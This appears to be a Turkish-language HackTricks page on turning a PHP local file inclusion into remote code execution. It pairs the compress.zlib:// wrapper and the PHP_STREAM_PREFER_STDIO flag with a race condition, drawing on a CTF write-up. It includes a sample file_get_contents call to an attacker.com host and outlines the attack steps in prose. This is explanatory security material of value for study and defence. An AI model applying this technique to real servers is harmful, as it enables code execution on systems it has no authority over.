LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Support HackTricks

compress.zlib:// ve PHP_STREAM_PREFER_STDIO

compress.zlib:// protokolü kullanılarak açılan bir dosya, PHP_STREAM_PREFER_STDIO bayrağı ile, bağlantıya daha sonra gelen verileri aynı dosyaya yazmaya devam edebilir.

Bu, aşağıdaki gibi bir çağrının anlamına gelir:

file_get_contents("compress.zlib://http://attacker.com/file")

Bir istek göndererek http://attacker.com/file adresini talep edecektir, ardından sunucu isteğe geçerli bir HTTP yanıtı ile yanıt verebilir, bağlantıyı açık tutabilir ve daha sonra dosyaya yazılacak ek veriler gönderebilir.

Bu bilgiyi php-src kodunun main/streams/cast.c kısmında görebilirsiniz:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Yarış Koşulu ile RCE

Bu CTF önceki hile kullanılarak çözüldü.

Saldırgan, kurban sunucunun saldırganın sunucusundan bir dosya okuma bağlantısı açmasını sağlayacaktır compress.zlib protokolünü kullanarak.

Bu bağlantı var olduğu sürece, saldırgan oluşturulan geçici dosyanın yolunu sızdıracaktır (sunucu tarafından sızdırılmıştır).

Bağlantı hala açıkken, saldırgan kontrol ettiği geçici dosyayı yükleyen bir LFI'yi istismar edecektir.

Ancak, web sunucusunda <? içeren dosyaların yüklenmesini önleyen bir kontrol vardır. Bu nedenle, saldırgan bir Yarış Koşulu istismar edecektir. Hala açık olan bağlantıda saldırgan, web sunucusu dosyanın yasaklı karakterleri içerip içermediğini kontrol ettikten SONRA PHP yükünü gönderecektir ama içeriğini yüklemeden ÖNCE.

Daha fazla bilgi için https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer adresindeki Yarış Koşulu ve CTF açıklamasını kontrol edin.

HackTricks'i Destekleyin

Last updated